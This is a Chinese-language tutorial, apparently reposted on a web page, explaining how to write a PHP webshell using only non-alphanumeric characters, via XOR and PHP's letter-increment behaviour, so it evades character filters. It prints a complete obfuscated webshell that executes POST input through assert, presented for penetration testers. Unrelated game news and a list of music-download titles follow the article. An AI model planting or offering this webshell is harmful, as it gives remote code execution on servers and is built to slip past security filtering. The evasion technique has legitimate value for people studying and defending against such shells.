前言
本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍:
一般来说,我们所写的webshell通常都会包含数字或字母。比如说下面这样:
<"color: #ff0000">思路首先我们要明确思路,我的核心思想就是通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。
所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。
php5的断言(assert)是通过函数实现的,我们可以使用
$f='assert';$f(…);
这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用 file_put_contents函数来达到我们的目的。为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D
方法一
这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:
<"text-align: center">方法二
在这种方法中,我们可以使用一些特殊的小技巧来实现我们的目标。首先,请大家参考php.net的这份文档:【传送门】
文档中写到:“在处理字符变量的算术运算时,PHP遵循的是Perl的规范,而并非C语言规范。比如说在PHP和Perl中,
$a = ‘Z'; $a++;
经过计算之后变量$a会变成 ‘AA',但是在C语言中,a = ‘Z'; a++;
计算后会将a变为‘['(‘Z'的ASCII值为90,‘['的ASCII值为91)。请注意,字符变量可以进行自增运算但无法进行自减运算,而且只有ASCII字母和数字(a-z,A-Z,0-9)才支持这种运算,如果对其他字符变量进行这种运算将不会有任何作用,此时的原始字符串将保持不变。”那么接下来,我们应该如何才能得到一个包含字符‘a'的变量呢?
字符串“Array”的首字母是一个大写的‘A',而第四个字母则是一个小写的‘a'。换句话说,我们可以通过这个字符串同时得到大写和小写的字母‘a'(A),这也就意味着我们可以通过这种方法得到a-z和A-Z中任意一个字母字符。
比如说在PHP中,如果你想拼接数组和字符串,那么你首先要将字符串(array)转换成一个字符串(这个字符串的值为Array):
然后截取字符串的首字母,我们就得到了‘A'。
利用这项技术,我编写了如下所示的webshell(由于PHP函数是对大小写敏感的,所以我在结尾补上了ASSERT($_POST[_])):
<"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);解析结果如下图所示:
总结
很多网站现在都会对特殊字符进行过滤和检测,因此希望这项技术可以给各位Web渗透测试人员提供一些解决问题的思路。
好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如有疑问大家可以留言交流,谢谢大家对的支持。
《魔兽世界》大逃杀!60人新游玩模式《强袭风暴》3月21日上线
暴雪近日发布了《魔兽世界》10.2.6 更新内容,新游玩模式《强袭风暴》即将于3月21 日在亚服上线,届时玩家将前往阿拉希高地展开一场 60 人大逃杀对战。
艾泽拉斯的冒险者已经征服了艾泽拉斯的大地及遥远的彼岸。他们在对抗世界上最致命的敌人时展现出过人的手腕,并且成功阻止终结宇宙等级的威胁。当他们在为即将于《魔兽世界》资料片《地心之战》中来袭的萨拉塔斯势力做战斗准备时,他们还需要在熟悉的阿拉希高地面对一个全新的敌人──那就是彼此。在《巨龙崛起》10.2.6 更新的《强袭风暴》中,玩家将会进入一个全新的海盗主题大逃杀式限时活动,其中包含极高的风险和史诗级的奖励。
《强袭风暴》不是普通的战场,作为一个独立于主游戏之外的活动,玩家可以用大逃杀的风格来体验《魔兽世界》,不分职业、不分装备(除了你在赛局中捡到的),光是技巧和战略的强弱之分就能决定出谁才是能坚持到最后的赢家。本次活动将会开放单人和双人模式,玩家在加入海盗主题的预赛大厅区域前,可以从强袭风暴角色画面新增好友。游玩游戏将可以累计名望轨迹,《巨龙崛起》和《魔兽世界:巫妖王之怒 经典版》的玩家都可以获得奖励。
更新日志
- 小骆驼-《草原狼2(蓝光CD)》[原抓WAV+CUE]
- 群星《欢迎来到我身边 电影原声专辑》[320K/MP3][105.02MB]
- 群星《欢迎来到我身边 电影原声专辑》[FLAC/分轨][480.9MB]
- 雷婷《梦里蓝天HQⅡ》 2023头版限量编号低速原抓[WAV+CUE][463M]
- 群星《2024好听新歌42》AI调整音效【WAV分轨】
- 王思雨-《思念陪着鸿雁飞》WAV
- 王思雨《喜马拉雅HQ》头版限量编号[WAV+CUE]
- 李健《无时无刻》[WAV+CUE][590M]
- 陈奕迅《酝酿》[WAV分轨][502M]
- 卓依婷《化蝶》2CD[WAV+CUE][1.1G]
- 群星《吉他王(黑胶CD)》[WAV+CUE]
- 齐秦《穿乐(穿越)》[WAV+CUE]
- 发烧珍品《数位CD音响测试-动向效果(九)》【WAV+CUE】
- 邝美云《邝美云精装歌集》[DSF][1.6G]
- 吕方《爱一回伤一回》[WAV+CUE][454M]